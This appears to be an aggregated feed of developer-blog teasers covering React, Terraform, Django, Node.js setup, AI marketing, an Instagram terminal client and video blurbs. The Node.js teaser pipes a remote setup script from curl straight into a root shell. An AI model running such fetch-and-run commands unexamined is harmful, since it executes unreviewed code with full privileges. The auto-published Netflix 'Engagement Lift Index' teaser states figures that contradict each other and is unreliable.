    Most developers write: const [ref] = useState({ current: initialValue }); ...but don't realize this silently creates performance overhead --- When you do: useState({ current: initialValue }); JavaScript still recreates that object on every single render, even This causes: unnecessary object allocations\ extra CPU work during render\ increased garbage-collection pressure\ wasted memory churn\ unnecessary strain in fast or frequently updating UI sections Your code: useState({ current: initialValue }); Render 1: - JS creates { current: initialValue } - React uses it Render 2: - JS creates { current: initialValue } again - React Render 3: - JS creates { current: initialValue } again - React ... Render 30: - JS creates { current: initialValue } again - React const [ref] = useState(() => ({ current: initialValue })); React calls the initializer only once No repeated object creation No extra GC churn No hidden allocations in later renders Matches useRef() behavior Reduced render cost\ Lower GC pressure\ Optimized initialization\ Less memory churn\ More predictable rerenders Yogesh Bamanier\ LinkedIn: https://www.linkedin.com/in/yogesh-007  ( 6 min )
    Session Service: як правильно будувати сесію у high-load казино
    Session Service: як правильно будувати сесію у high-load казино Управління сесіями в онлайн-казино — це не просто "зберігати токен у Redis". При навантаженні в десятки тисяч одночасних гравців кожна архітектурна помилка може призвести до втрати коштів, витоку даних або відмови сервісу. Розглянемо перевірені рішення. Безпека — неможливість підробки або викрадення сесії Масштабованість — мільйони активних сесій одночасно Продуктивність — перевірка сесії < 10ms Multi-device — один користувач на кількох пристроях Швидка інвалідація — logout/ban миттєво діють Audit trail — історія всіх сесій для compliance Concurrent users: 50,000 Sessions per second: 500-1,000 new sessions Session checks per second: 100,000-500,000 Average session duration: 45 minutes Peak load multiplier: 3x (вечір п'ятниці…  ( 13 min )
    We had enough of brainrot. We built a terminal app for Instagram to stop that.
    Instagram: the app you open to send one message… and suddenly 30 minutes are gone. We all know the cycle — and we finally had enough. What if Instagram had a quick fix? A productivity-friendly mode that keeps your connections, but gives your attention span a fighting chance? Instead of quitting social media (yeah right) or pretending we’ll use it “mindfully,” we built something different: A distraction-free way to chat with friends and view stories — right from your terminal. No algorithm traps. No reel vortex. No dopamine casino. Just conversations and updates, on your terms. Instagram CLI is a minimal, fast, keyboard-native way to stay connected without getting cooked by social media. Chat without distractions — no feed, no reels, no algorithm. Stay connected with stories and selected feeds — only when you choose. Use your keyboard for everything — built for developers, not casual scrollers. Run it anywhere — VSCode, your terminal, or even a Linux server. Enjoy TUI life — clean, simple, fast. Lightning-fast, real-time chat with dev-friendly shortcuts. View stories only from accounts you follow -- no ads, btw. (This feature is experimental) Full feature description on our repo docs. It’s fully open source, written primarily in TypeScript (with a Python version too). We recommend TS version since it significantly reduces the risk of your account getting flagged by Meta's anti-bot mechanisms. # Choose your camp... npm install -g @i7m/instagram-cli pip install instagram-cli We use Ink + React for the TS version and Curses for Python. This project is not affiliated with, authorized, or endorsed by Instagram or Meta. Using it may violate their Terms of Service - use responsibly. If you like this project, consider ⭐ starring the repo and contributing! https://github.com/supreme-gg-gg/instagram-cli  ( 7 min )
    **Unlocking AI-Driven Content Optimization: The 'Engagement
    Unlocking AI-Driven Content Optimization: The 'Engagement Lift Index' When evaluating the success of AI-powered content on Netflix, a crucial metric to consider is the 'Engagement Lift Index' (ELI). This metric measures the increase in user engagement attributed to AI-driven content optimization. Essentially, it quantifies how AI-driven content curation impacts viewers' interaction with Netflix's vast library. To illustrate the concept, let's examine a hypothetical AI-driven content optimization experiment on Netflix's 'Drama' category. Before AI-driven curation, the 'Drama' category received an average of 3.5 minutes of watch time per user. After introducing AI-driven content optimization, Netflix observed a 25% increase in watch time, averaging 4.37 minutes per user. However, using the ELI, we can isolate the AI-driven impact: a 50% increase in user engagement within the 'Drama' category, specifically due to AI-driven content suggestions. This translates to 1.92 additional minutes of watch time per user, directly attributed to AI-driven curation. The ELI provides a more nuanced understanding of AI's role in optimizing user experience and increasing engagement on streaming platforms like Netflix. By incorporating ELI into AI-driven decision-making, content creators and recommendations engineers can refine their strategies to deliver more personalized and engaging content. Publicado automáticamente  ( 6 min )
    Linux-Compatible HTML Editors That Work
    Developers sometimes move between different operating systems as they switch devices or environments. Many workflows start on macOS or Windows, but teams also use Linux installation setups for server work, container testing, or long-running tasks. This mix creates a simple problem: not every HTML editor behaves the same across platforms. Some tools offer stable Windows builds but weak Linux support. Others run on Linux but require workarounds during installation or setup. HTML editors (including WYSIWYG tools) play a key role in frontend work. For instance, they allow end users to create web content visually while also allowing developers to write code. If an editor fails on Linux (e.g., formatting, encoding, or rendering issues), developers lose consistency across environments. This artic…  ( 12 min )
    Did you know that synthetic data can be used to anonymize se
    Did you know that synthetic data can be used to anonymize sensitive information more effectively than traditional anonymization methods, while preserving its quality and relevance for machine learning model development? By leveraging techniques like Generative Adversarial Networks (GANs) and Variational Autoencoders (VAEs), synthetic data can mimic the distribution and relationships of the original data, making it virtually indistinguishable. This approach has significant implications for industries like healthcare and finance, where data anonymization is crucial for compliance and data protection. Publicado automáticamente  ( 6 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal Bill Simmons, Chris Ryan and Cousin Sal dive into the 2005 sports-betting drama Two for the Money (starring Matthew McConaughey, Al Pacino and Rene Russo), firing up their favorite Monday night parlay to break down all the highs, lows and oddball antics of the film’s gambling world. After unpacking the movie’s sports-betting mechanics, they each name their most rewatchable scene and—around the 48-minute mark—get into a rapid-fire round of fun categories and rankings only The Rewatchables can deliver. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, whipping up a snappy 15-minute rundown of every nitpick and plot hiccup in The Wiz—just in time with Wicked storming back into theaters. Expect their trademark wit as they dissect what makes this classic feel more fun (or flawed) than you remember. Along the way they drop links to polls, a Patreon shout-out, and all their social handles for fans who can’t get enough Cinematic Sinning. Plus, a quick roll call of their writers so you know who to blame… er, thank! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less CinemaSins takes aim at the latest Mission: Impossible, counting up every plot hole, shaky stunt and Tom Cruise’s perpetual flirtation with on-screen death. They admit they still love the series but feel these recent chapters have strayed a bit from the franchise’s glory days. They also plug their website and social channels—TVSins, CommercialSins, CinemaSins Podcast—plus shout out their writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Want more? Hit up their sinful poll, Patreon, Discord, Reddit, Instagram, TikTok and even Jeremy’s book. Watch on YouTube  ( 6 min )
    ChatGPT Atlas now has DevTools
    ChatGPT Atlas has taken another important step forward with its latest update. The introduction of native DevTools, more control over search behaviour and smarter browser memory support turns Atlas into a productivity environment instead of a simple browser with an AI layer. This update is compact but strategic. It strengthens the position of Atlas as a workspace for development, automation and analysis. The update brings dockable DevTools inside the Atlas window. This removes the split between debugging and prompting, and creates a smoother engineering workflow. Developers can inspect network calls, console output, UI layouts or script behaviour without switching to a separate window. Atlas becomes a unified environment for building and analysing. Errors, stack traces and logs can be cop…  ( 10 min )
    There’s a strange gap in web development.
    On one side, you’ve got the enterprise-grade developer depression kit: Next.js apps, AWS pipelines, API layers, auth flows, rate-limiting, deployments, and a dozen microservices no small business asked for. On the other side, you’ve got “we just need a landing page” landing pages — the tiny brochure sites that somehow still manage to generate 40 rounds of feedback and three different opinions on button size. Developers don’t want to touch these small sites because they turn into endless tweaks. Small businesses can’t justify paying thousands for something that should take minutes, not months. And freelancers get stuck between scope creep and clients who think a $200 budget includes a full rebrand and psychic guidance. So I built swiftlysite.com to bridge the gap. It lets anyone generate a production-ready website just by writing a short description. No freelancers drowning in revisions. No devs resizing logos at midnight. No small business owners comparing twenty nearly identical proposals. Just text in, website out.  ( 7 min )
    🚀 Deploying My First Portfolio on Killercoda Using Nginx — A Beginner DevOps Walkthrough
    As part of my DevOps learning journey, I was given an assignment to deploy a personal portfolio website on Killercoda using Nginx. This hands-on project taught me how to host a static website on a remote Linux environment, configure a web server, and use Git for deployment — all essential DevOps skills. In this article, I’ll walk you through every step I took. I started by downloading a portfolio template from StartBootstrap. After downloading, I extracted the ZIP file and opened the project folder in Visual Studio Code. In VS Code, I customized the template with: My name My bio Updated projects and contacts Adjusted colors and layout Once the edits were done, I initialized a Git repository and pushed the project online: git init I visited: 👉 https://killercoda.com/playgrounds/sc…  ( 7 min )
    RESTful – Pílula 4 – Identificadores e o uso de UUIDs em APIs REST
    Identificadores são fundamentais em uma API RESTful. A escolha entre IDs numéricos e UUIDs impacta segurança, escalabilidade, privacidade e integração entre sistemas. Exemplos comuns: GET /users/10 GET /orders/99 GET /products/42 Um identificador ideal deve ser: único imutável estável consistente IDs como 1, 2, 3 são simples e eficientes, porém: ❌ expõem o tamanho da base enumeration attack) Servem bem para sistemas internos, pequenos ou isolados. não são ideais. Um UUID v4 típico: 550e8400-e29b-41d4-a716-446655440000 Vantagens: difíceis de adivinhar não expõem contagem ou ordem bons para microsserviços excelente unicidade sem coordenação ideais para APIs públicas ou expostas a terceiros não substitui a Primary Key Mesmo usando UUID em APIs, sua tabela deve continuar tendo: uma chave p…  ( 7 min )
    Designing Trust: UX Principles in Fintech Apps
    Designing Trust: UX Principles in Fintech Apps (Week 5 of Pocket Portfolio — 12 Weeks of Shipping) Fintech apps don’t just handle data — they handle belief. If users don’t trust the interface, they won’t trust the numbers behind it. That’s why trust design is more than visual polish — it’s behavioral UX backed by consistency, clarity, and feedback. Pocket Portfolio’s interface was rebuilt with this question in mind: “How can we make accuracy look and feel obvious — even before a user checks the math?” In finance, reliability is perceived before it’s proven. A delay in loading or a flicker in a number instantly reduces confidence. So our UI needed to communicate stability — through predictable patterns and visual rhythm. Consistency — one typography system and token set shared acros…  ( 8 min )
    GA4 Custom Reporting: Stop Building Dashboards Nobody Uses
    You've spent three hours building a GA4 dashboard. It has 17 metrics, color-coded charts, and a beautiful layout. Your boss looked at it once, said "interesting," and never opened it again. Sound familiar? Here's the thing: GA4 gives you access to roughly 47 million data points (okay, slight exaggeration, but have you seen that interface?). The problem isn't getting data—it's figuring out which 5-7 metrics actually matter for your business. Everything else is just noise that makes you feel productive while accomplishing nothing. I've built dozens of GA4 dashboards over the past two years. Most of them were terrible. A few actually changed how companies made decisions. The difference wasn't technical complexity—it was ruthless focus on what drives action. Let's start with the uncomfortable …  ( 13 min )
    I made my resume site. It wasn’t that deep.
    *look at it first: * https://armaansucks.vercel.app So yeah, I made my resume site. I wanted a site that actually feels like me. The whole thing is basically me experimenting and stacking whatever ideas looked cool until it stopped looking ugly. That’s literally the entire process. Why I even bothered Nothing philosophical. Also, resumes look boring as hell. That’s it. How I built it I didn’t “design” anything. I don’t even know what people do with Figma or whatever tool they worship. I just opened the editor and kept tweaking until it started matching the vibe in my head. My rules were simple: • dark, sharp, readable It’s mostly React + Three.js + some shaders here and there. Basic stuff, nothing insane. Stuff that annoyed me while building • I kept changing tiny spacing values like an idiot Building this wasn’t hard. It was just tedious. Why I like the final result It feels like a proper “Armaan” site. No nonsense. Closing That’s pretty much it. I built a resume site because I wanted one that doesn’t suck. If it looks cool, good. If it doesn’t, whatever. I’ll keep improving it anyway.  ( 7 min )
    Top Data Science Tools You Should Learn in 2025 🚀
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    How I integrated the blockchain donation feature in my Expo project
    Hi! In this article, I’m going to walk you through how I integrated a blockchain-based donation system into my Expo project. I’ll explain everything step-by-step in a beginner-friendly way — why we need a global Web3 provider, how WalletConnect’s projectId and RPC URLs are created and used, and how the donation flow works in the app. I’ll also show minimal code snippets from my actual project files so you can easily follow along and implement the same setup in your own app. Add a global Web3 provider so all screens can access wallet state (account, signer, network). Use WalletConnect (mobile) via a projectId and RPC endpoints (Alchemy/Infura or public RPC) to talk to an Ethereum testnet/mainnet. On the donation screen user: Connect wallet → select fund → enter ETH → Send transaction → wait…  ( 8 min )
    🗺️ How-To: Create a Bug Report
    Great! You’ve found a bug! And, wow, is it wreaking havoc! You did your homework. It’s reproducible, you know which environment it’s in, and it’s not been reported because you did your due diligence by searching through the ticketing system (insert Jira, Shortcut, Clickup, etc. here). This means you get the gold bug award. Finding the bug is only the beginning. Here’s how to create a great bug report. What Qualifies as a Great Report? Information. The more details you provide, the faster the engineering team can find and fix the issue. Let’s start with the essentials. Browser Information: What browser are you using? Does the issue exist in other browsers? Environment: Was the issue discovered in production? Does the issue exist in the Staging or QA environments? Sometimes the fix is on…  ( 7 min )
    Type hints in Python (3)
    Buy Me a Coffee☕ *Memo: My post explains type hints (1). My post explains type hints (2). Multiple variables cannot be defined with type hints at once so they need to be type-hinted first as shown below: v1: str v2: str v1 = v2 = 'Hello' print(v1) # Hello print(v2) # Hello v1: str = v2: str = 'Hello' # SyntaxError: invalid syntax Assignment statement unpacking cannot be done with type hints at once so variables need to be type-hinted first as shown below: v: str v, = 'Hello', print(v) # Hello v1: str v2: int v1, v2 = 'Hello', 23 print(v1) # Hello print(v2) # 23 v: str, = 'Hello', v1: str, v2: int = 'Hello', 23 # SyntaxError: invalid syntax for statement unpacking cannot be done with type hints at once so variables need to be type-hinted first as shown below: v: str for v, in [[…  ( 8 min )
    Day 2/30: Understanding Terraform Providers
    Today marks Day 2 of my #30daysofAWSTerraform challenge started by Piyush Sachdeva. Today we will deep dive into the terraform providers. What are terraform providers and how exactly they will work. Provider is simply a plugin that translates our terraform code into a code that your cloud provider can understand. As Cloud Provider doesn't understand HCL language of Terraform, this provider acts as a bridge between our Terraform code and Cloud. In simple, Providers are plugins that allow Terraform to interact with cloud platforms, SaaS providers, and other APIs. For AWS, we use the hashicorp/aws provider. terraform providers for AWS In the above official link, you can view all the services AWS Cloud will provide for the Terraform integration. terraform { required_providers { aws = { …  ( 7 min )
    From Hooks To Actions: What's New In React 19
    With the release of React 19.2, let's explore in brief how you can leverage the latest React features in your applications. Just a heads up, this blog post is more theory heavy. In case you want to see some working examples, I've linked a video in the references as well as the official documentation so that you can experiment with these features on your own time as well. This is the one that's most exciting and anticipated by people in my opinion. React compiler is a build tool that automatically optimizes your app. Before: review component logic and separate out states or apply memoization manually After: configure in your bundler and see the magic There are some caveats here however. Your app needs to follow Rules of React or the compiler will err on the safe side and choose to not apply…  ( 8 min )
    Introducing Qeltrix V2: High-Performance Content-Derived Encryption with Parallel Processing
    I'm excited to announce the release of Qeltrix V2, a major enhancement to the content-derived encryption container format that brings significant performance improvements and new capabilities while maintaining full backward compatibility with V1 files. Qeltrix is a Proof-of-Concept command-line utility that creates encrypted, compressed data containers with a unique approach: the encryption key is derived directly from the file content itself. This eliminates the need to store or transfer separate encryption keys, making it ideal for secure archival and data obfuscation scenarios. Built on modern cryptography (ChaCha20-Poly1305), parallel processing, and a streaming architecture, Qeltrix handles files of any size efficiently. Version 2 introduces several significant features that improve p…  ( 9 min )
    Ultra Low Bedrock LLM Rate Limits for New AWS Accounts? Time to Wake Up Your Inactive AWS Accounts!
    Are You Struggling With Amazon Bedrock’s Ultra-Low Quotas on New AWS Accounts? 🤯 Are you hitting painfully low rate limits when running LLMs on Amazon Bedrock from a newly created AWS account? You’re definitely not alone — many developers are discovering that new accounts often start with extremely restrictive quotas, sometimes as low as 2 requests per minute. Official guidance usually suggests contacting an account manager to escalate your limits, but for startups, hobby projects, or personal experimentation, that path is far from simple. Since 2024 or maybe 2025, AWS quietly adjusted Bedrock’s default model access for newly created accounts - together with other lower account defaults such as a maximum concurreny of 10 for AWS Lambda. Even when using global endpoints, many fresh accou…  ( 8 min )
    How to Work with Feedback in Prompting: A Live Guide with Examples
    Hello, everyone! We continue our wonderful series of articles on prompting 🤖✨ Today, we will explore four effective feedback prompting techniques that will help you achieve even better results from AI! 🚀 To work with AI as efficiently as possible, experts have developed a range of powerful techniques 🛠️. They were born at the intersection of science, engineering practice, and everyday user experience. ✍️ Explicit Feedback Prompting — open expression of comments and suggestions. 🔄 Iterative Refinement — gradual refinement of responses through multiple iterations. 🧐 Critique and Revision Prompting — the model critiques and improves the results itself. 🧩 RLHF (Reinforcement Learning from Human Feedback) — choosing the best from several options. --- Let's start with a simple yet very e…  ( 9 min )
    Diagrams as Code Just Make Sense
    When I was in college, one of my software engineering class obsessed over UML diagrams. Creating them was painful, especially with the clunky tools available in the late 00s, and it felt like an exercise in frustration more than anything useful. So when I entered the real world and discovered that most teams didn’t make diagrams regularly, I was honestly relieved. But over the years, I realized something: diagrams are incredibly valuable, we just never had tools that made them worth the effort. My last team relied on diagrams for planning, communicating with non-technical stakeholders, and even thinking through refactors. But the visual tools we used were still slow, fiddly, and frustrating. (Looking at you, arrows that refuse to anchor to properly.) Then someone introduced the team to Mer…  ( 8 min )
    10 Claude Code 2.0 Techniques That Turned 3-Week Projects Into 3-Day Sprints
    How I went from ‘barely keeping up’ to shipping production features in hours (no exaggeration) Quick Disclaimer: I’m a paying Claude Code Max subscriber ($200/month). Everything here comes from real production work. Not sponsored — just a CTO who found techniques that genuinely transformed how I ship code. Two months ago, I faced a nightmare project: complete backend API refactor, 50+ files to touch, zero room for cascading failures. Timeline? Three weeks. Team already maxed out.  ( 6 min )
    A Nextjs Website Developer
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    The Illusion of Simplicity
    I really like Django. I would pick Django over any other option for setting up a website regardless of expected complexity. In my opinion, if you fully embrace Django, it will allow you to focus on the product and not fight an uphill battle against the computer. I do a bit of freelancing on the side, and it saddens me that I rarely see Django projects in the wild. Wherever I join and I'm lucky enough that it's a Python gig, it's usually Flask or FastAPI. When I ask why, it's usually something along the lines of: "Oh, we don't need Django, it's too complex. We just need a simple API". Yet, they need database access, and ORMs are nice so they brought in SQLAlchemy. And they need user authentication, so they roll their own roles and permissions. And they need JWTs because the frontend is a React app with its own stack. And they need caching so they roll their own. And they need request validation and OpenAPI Javascript client generation so they bring in Pydantic. And of course they need horizontal scalability so they deploy everything on Kubernetes. And then: "We don't need Celery, it's too complex." so they add APScheduler. And then it turns out they do need simple workflows and CPU-heavy processing so they roll their own background task manager. And here I am, looking at this amalgamation of bytes created in the name of simplicity, thinking: "What a poor reimplementation of Django."  ( 6 min )
    How to Build a Powerful & Beginner-Friendly Django Admin
    A Step-by-Step Tutorial Using a Real-World Fundraising Platform Show custom model properties in the list view Let’s build it together! # models.py (simplified) class Fundraiser(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, null=True) fundraising_category = models.ForeignKey(FundraisingCategory, ...) short_code = models.CharField(max_length=10, unique=True) is_approved = models.BooleanField(default=False) is_private = models.BooleanField(default=False) status = models.CharField(max_length=20, choices=STATUS_CHOICES, default='active') created_at = models.DateTimeField(auto_now_add=True) @property def raised_amount(self): return self.paystack_transactions.filter(status='success').aggregate( total=Sum('amount') …  ( 9 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less rides the buzz of Wicked’s theater comeback by zooming down the yellow brick road to nitpick every plot hole and quirk in the 1978 classic. True to CinemaSins form, it serves up a fast-paced, tongue-in-cheek breakdown of what’s better (or worse) than you remember. Along the way they drop links to their main site, socials, a fan poll and Patreon, plus a shout-out to the writers, podcast channels and community hubs where you can catch more of their sin-counting antics. Watch on YouTube  ( 6 min )
    NodeJS on Ubuntu: Installation, Setup, and First Steps
    Prerequisites – installing Homebrew and asdf on Ubuntu https://nodejs.org/en/docs Express — Minimalist and flexible framework for creating APIs and HTTP servers with Node.js. Fastify — Fast and efficient framework focused on high performance and low resource consumption. NestJS — Modular and structured framework inspired by Angular, ideal for scalable applications in Node.js. sudo apt update sudo apt install nodejs npm For updated versions, NodeSource is recommended: curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - sudo apt install -y nodejs brew install node Node uses npm (included by default) or pnpm/yarn optionally. Install pnpm (globally): npm install -g pnpm # add plugin asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git # import keys bash ~/.asdf/…  ( 9 min )
    Preparing Your Brand for the Next Wave of AI-Driven Content Discovery
    As artificial intelligence continues to redefine how information is created, distributed, and consumed, brands must rethink their approach to digital visibility. The future of online discovery is no longer limited to traditional search engines—AI assistants, generative answer engines, and multimodal platforms are becoming primary entry points for users seeking fast, accurate insights. This shift demands a more holistic, future-ready strategy that emphasizes authority, trustworthiness, and adaptability. (To explore how advanced optimization ties into these trends, see our guide to *LLMO*.) AI-driven tools are rapidly transforming into powerful gateways for information retrieval. Users increasingly rely on conversational platforms, AI-enhanced browsers, and answer engines to summarize, analy…  ( 7 min )
    I just built a Startup / SaaS / business idea generator ( idea-rader.com )
    I just built a startup/SaaS/business idea generator ( 🔗 https://idea-rader.com ) using Google’s AI Studio — and then layered more functionality on top of it to turn it into a full product. Over the last few days, I’ve been experimenting with how far Gemini’s Build workflow can take an idea from prototype → working tool. That’s how Idea-Rader was born — a website where you enter your budget, skills, target audience, domain, strengths, investment capacity, and more… and it generates: 🔍 A personalized startup/SaaS/business idea 🛠️ Tech Stack Used: React + Vite Firebase Auth, Firestore & Hosting Razorpay Payments  ( 7 min )
    How AI Is Empowering Smarter Digital Marketing Strategies
    Artificial intelligence is reshaping the way brands plan, execute, and refine their digital marketing strategies. While many businesses focus on optimizing search performance and enhancing their online presence, AI’s influence extends far beyond SEO alone. From predictive analytics to automated campaign optimization, marketing teams now have access to powerful tools that elevate decision-making and streamline workflows. In this article, we’ll explore how AI is transforming modern digital marketing and why brands that embrace these innovations are gaining a significant competitive advantage. (Related reading: Best AI SEO Tools) Data-driven decisions have always been crucial in marketing, but manual analysis often limits accuracy and speed. AI-powered predictive analytics solves this probl…  ( 7 min )
    Why AI-Native Content Strategies Matter in the Era of Machine-Generated Search
    As AI-driven search tools become the default gateway to online information, content teams are facing a new reality: visibility no longer depends solely on how well a page ranks in traditional search engines. Instead, it increasingly hinges on how effectively AI models can interpret, reuse, and attribute your content within synthesized, conversational answers. This shift is redefining what it means to create content that performs—and it requires thinking far beyond keywords. For years, content writing revolved around balancing two audiences: humans and search engine crawlers. Today, there’s a third audience that sits between them—large language models. These models don’t just index content; they digest it, reinterpret it, and often become the first to explain it to the user. That means your…  ( 7 min )
    Is it time to introduce milkadmin?
    I've been working for some time on a simple, lightweight core admin for PHP. It's a basic administrative environment: login, user & permission management, install and updates. I'm finally ready to talk about it. It's an open-source project I called MilkAdmin. Installation is "the old way", like WordPress: copy it to the server and you're up and running. You get a minimal environment with access to two databases: one for internal configuration (works well with SQLite) and a second one for your application data. I'll keep this short and give a few practical examples. To create a new page (with a menu entry) you just define a module: class CupOfMilk extends AbstractModule Build Calendar Example I make heavy use of PHP attributes to identify actions and methods: #[RequestAction('home')] …  ( 7 min )
    Designing for AI Browsers: When Your User Has a Copilot
    There is a new invisible user in your product. They sit beside your human user, read your pages before they do, summarize your content, click your buttons, and sometimes even buy things or cancel subscriptions for them. That “user” is their browser’s AI. Chrome, Edge, Opera Neon, Perplexity’s Comet, Dia, and friends are turning the browser into a copilot that reads, explains, and acts on behalf of humans. Gemini in Chrome can already help people understand complex pages, find past sites, and is being positioned for more “agentic” tasks like booking appointments. Microsoft’s Edge Copilot will happily summarize whatever page or PDF you are looking at and answer questions about it. Opera’s Neon and Perplexity’s Comet go a step further: they execute tasks inside pages and automate multi-step w…  ( 12 min )
    kubectl-ai WebUI: A Visual Way to Use AI for Kubernetes Troubleshooting
    kubectl-ai WebUI: A Visual Interface for AI-Powered Kubernetes Troubleshooting If you've been experimenting with kubectl-ai for AI-assisted troubleshooting on Kubernetes, you probably know one thing already: It’s powerful, but strictly CLI-based. This creates a real barrier for developers, students, or platform engineers who are less comfortable with command-line workflows but still want to benefit from AI-driven explanations, log analysis, issue hunting and YAML generation. To solve this, I built something new: A WebUI for kubectl-ai, a browser interface that makes AI-assisted Kubernetes troubleshooting accessible to everyone. This article explains what it does, why it helps, and how you can try it out. In short, kubectl-ai is an AI-powered plugin for kubectl that transforms natural-la…  ( 8 min )
    Moving Smarter, Not Faster: How Organization Shapes Great Teams
    After years of working with different teams, one pattern became impossible to ignore: the teams that consistently delivered weren't the ones rushing or pushing harder. The best teams don't move faster, they move smarter. In every project I've seen, chaos doesn't come from bad intentions or weak skills. It comes from a lack of organization. A few years ago, I joined a team that, at first glance, had everything going for them. There was an almost one-year backlog of client customization requests, a full year of work waiting in line: It wasn't because the team was slow or inefficient. It wasn't because the requests were too complex. And, it definitely wasn't because the developers lacked skill. The real issue was simpler, but more damaging: they had no structure to support their effort. Code …  ( 8 min )
    Fast and Furious XXV the Missing Modem.
    It's been awhile coming but we finally got set up with gig internet. Speeds have been ok before but we needed better speed for streaming, gaming, and our number of devices. Tech called shortly before the Dads in Tech meet up. unfortunate the meeting was in middle of the tech's arrival window. I was hoping to join but knew I couldn't cause he would need attention. Hoped it would be a quick install and I could catch the end of the meeting. It was not quick. The tech comes to the door and asks, "Did they ship you modem?" "No." "They were suppose to ship you a modem, an enterprise one." I knew that was wrong. He said "I'll go out to truck call manger then call you in 5 to 10 minutes." While he was in truck I checked the appointment email and texts "Tech will bring modem." So I open a chat …  ( 11 min )
    Managing Zebra Android Devices at Scale: A Practical Guide for Developers & IT Engineers
    If you’ve ever worked with Zebra handhelds, scanners, or rugged Android devices, you already know: they are built for frontline operations, but not always built for easy management. Zebra devices aren’t typical Android phones. Barcode scanning Printer integrations Push-to-talk Battery analytics Hardware keys Advanced security and lockdown modes And this also means: Firmware updates ≠ normal Android OTA App deployment often requires special profiles Device provisioning involves specific Zebra tools Settings aren’t always accessible via native Android APIs When you’re managing 50, 500 or 5,000 devices, doing all this manually isn’t an option. OEMConfig (Zebra-specific configuration over standard Android Enterprise) OEMConfig is one of the biggest unlocks for Android device management. It all…  ( 9 min )
    How To Architect A Feature In 5 Minutes Before Talking To AI
    This post has been originally published on my Substack publication VSL Yesterday I opened my server logs and saw my API costs had spiked for no obvious reason. I was building a new feature and thought I'd be clever. I told the AI: "Just reuse the logic from the other generator." The AI said "Sure!" The UI worked perfectly when I tested it. But I never looked at what was happening underneath. The AI had built something that made three separate calls to my server every time a user clicked one button. The feature worked on my screen, but it was costing me money with every click and making users wait longer than they should. AI Will Make Anything Work Even if It's Wasteful One of the first things you’ll learn building with AI tools is that they'll make anything work on the surface, even if i…  ( 12 min )
    Observability- My New Experience and Beyond
    From AI/ML Background... In this article, I’m trying to jot down my journey, moving from being an AI engineer, living deep in models, data, and drift, to stepping into the world of observability. I’m not going too deep into the transition itself, but more into what I’ve learned about observability: its purpose, where it fits, how to use it, and the stack that actually makes sense in real-world engineering. If you come from AI or ML, you probably think you get monitoring. We keep an eye on pipelines, stare at dashboards, track every metric we can get our hands on. We’re obsessed with recall, precision, AUC, all those numbers that tell us if the model’s still alive. In MLOps, it’s all about performance. Is the model still making sense in the real world? Should we retrain? When do we push t…  ( 10 min )
    The Professor Who Predicted Bitcoin's Flaws and Built a $6B Blockchain to Fix Them
    In 2003—five years before Bitcoin even existed—a Turkish computer science professor published a paper about a digital currency called Karma. It had a distributed mint, peer-to-peer transactions, and solved the free-loader problem. Then in 2013, that same professor published another paper proving that Bitcoin could be attacked by miners controlling just 33% of the network—not the 51% everyone thought was necessary. And then in 2020, he launched Avalanche—a blockchain that raised $42 million in under 5 hours, now processes 6,500 transactions per second (beating Visa), and is valued at nearly $6 billion. That professor? Emin Gün Sirer. And his journey from growing up in Turkey to building one of the fastest blockchains in the world is one of the most fascinating stories in all of crypto. Let …  ( 15 min )
    I Built a VS Code extension called Emoji Eraser. It cleans AI-generated code by removing emojis, debug lines, and AI comments. Sitting at 30 installs. Looking for contributors to help push it further.
    A post by Dabwitso Mweemba  ( 6 min )
    Day 53 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/game-of-xor1541/1 Game of XOR Difficulty: Medium Accuracy: 50.77% You are given an integer array arr[]. The value of a subarray is defined as the bitwise XOR of all elements in that subarray. Examples: Solution: class Solution: def subarrayXor(self, arr): n = len(arr) ans = 0 for i in range(n): if ((i + 1) * (n - i)) % 2 == 1: ans ^= arr[i] return ans  ( 6 min )
    Understanding HTTP: The Backbone of Today’s Internet
    If you’ve ever built anything for the web either frontend, backend, APIs, mobile apps or even blockchain dApps, you’ve already interacted with HTTP. It’s the invisible glue that allows devices to talk to each other over the internet. This is my first article in a while and I’m excited to get back to writing again. Work and projects kept me away for a bit but I’m restarting with one of the most fundamental topics in backend development In this article, we’ll break down what HTTP really is, how it works, why it’s stateless and how its versions evolved from HTTP/0.9 all the way to HTTP/3. HTTP (HyperText Transfer Protocol) is a communication protocol used for transferring data between a client (usually the browser) and a server. Every time you open a website, submit a form, fetch API data or …  ( 8 min )
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    We built the first native mobile AI agent and open-sourced it🤯 Priya Negi ・ Nov 18 #ai #programming #cloud #python  ( 6 min )
    ✨Gemini 3 Pro vs GPT 5.1: Which One Codes Better? 🚀
    Gemini 3 Pro just dropped, and it is already getting a lot of attention for its reasoning and long context abilities. But now, the natural question is, "How well does it code?" And does it actually outperform GPT 5.1 Codex, which, in my tests, has been the best so far (better than Claude 4.5 Sonnet) on real tasks? To find out, I put it side by side with GPT 5.1 and tested both models on two fundamental tasks: a UI build and a complete agent workflow. We will go through the results in a moment, but first, let's have a quick TL;DR and a refresher on Gemini 3. If you want a quick take, here is how both models performed in the test: Gemini 3 Pro handled both the UI task and the agent build more cleanly, requiring very few follow-ups. The most significant difference showed up in the agent test…  ( 17 min )
    Code Commenting Convention
